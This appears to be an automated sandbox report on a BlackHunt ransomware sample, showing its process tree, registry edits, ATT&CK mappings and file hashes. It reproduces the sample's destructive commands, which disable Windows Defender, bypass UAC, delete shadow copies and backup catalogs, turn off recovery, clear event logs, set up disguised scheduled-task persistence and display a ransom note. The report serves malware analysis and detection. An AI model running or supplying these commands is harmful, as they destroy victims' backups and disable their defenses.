e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 53 PID 2156 wrote to memory of 2472 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 54 PID 2156 wrote to memory of 2472 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 54 PID 2156 wrote to memory of 2472 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 54 PID 2156 wrote to memory of 2472 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 54 PID 2156 wrote to memory of 2496 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 56 PID 2156 wrote to memory of 2496 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 56 PID 2156 wrote to memory of 2496 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 56 PID 2156 wrote to memory of 2496 2156 e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe"C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2156 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:3040
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2272
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2828
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2680
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2524
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2704
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1748
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2612
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2748
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2752
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2692
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1648
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2744
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:1956
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵
- Suspicious use of WriteProcessMemory
PID:3040
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2472
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1704
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2496
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:3000
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2552
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:448
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2856
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1776
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2976
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2180
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1128
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2016
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2660
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:556
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2492
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2448
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2712
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1280
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2368
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1264
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2184
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1980
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1952
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1512
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1700
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2536
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2784
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1652
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2948
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1708
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe" /F2⤵PID:1540
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe" /F3⤵
- Creates scheduled task(s)
PID:2512
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2892
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:624
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2256
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:604
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1196
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:704
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2248
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1604
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1656
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1544
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2364
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2444
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1036
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1780
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2348
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:844
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3104
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3548
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:904
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:3428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:3592
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3380
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:3452
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3316
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:2820
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2584
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:624
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3504
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3176
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1944
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3652
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1720
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3220
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1512
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2472
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1716
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2128
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2324
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3284
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3756
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3256
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3692
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:3100
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2680
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3236
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:3108
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3348
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3644
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:3340
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:3404
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:284
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3224
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3440
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:3276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:3744
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:3460
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\e35355156ad9c31b276b8b2e98ecd506c1771bf7a09e15e17f8c6659d31dd281.exe"2⤵
- Deletes itself
PID:3748 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:3444
-
-
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet1⤵
- Deletes backup catalog
PID:1912
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-825686689-138380535554206822156926481058649723213399626151565756352-586992846"1⤵
- Suspicious use of WriteProcessMemory
PID:2272
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2904
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1728
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵PID:3000
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:2680
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1672
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5a55976acfb48ef750c9bb9b8b1efcdf7
SHA17ed1edc399aa6334e75c5831f70fa0e72e8ccc40
SHA25632f918136a1533c3ba947372c28706649c79171790c452d0989aabb176cd0e4c
SHA51239635bec7c2dda5c502a3d66ce4b39fca1d9b9033c21ab3e913f2749b30345474fd7da1ae0aebf79260d1f12ecef80400ea0981687e93c2ba97554ee981deb97
-
Filesize
12KB
MD51125c840979ee06446843fb56869f677
SHA17e067f601d2bd58a012bb230c38417d8ce6a5813
SHA256cc68012d76b9a1f9e7a409cbc9566e148da4ac97516fa82a0783927636cfe020
SHA51274780a6fc64b2abf1e7cb530637a3fdf2c7b0b0e2b63d094a8bc74757e913d0c9b60402f83cea27c3fd219018aee44cf3863b616da4c7cb68164e58754c9ec74
-
Filesize
684B
MD5eb5e569d7312267ea236b027a63e0367
SHA14888da773d6f0ffcc3aafaf9c3c52d458b53c2af
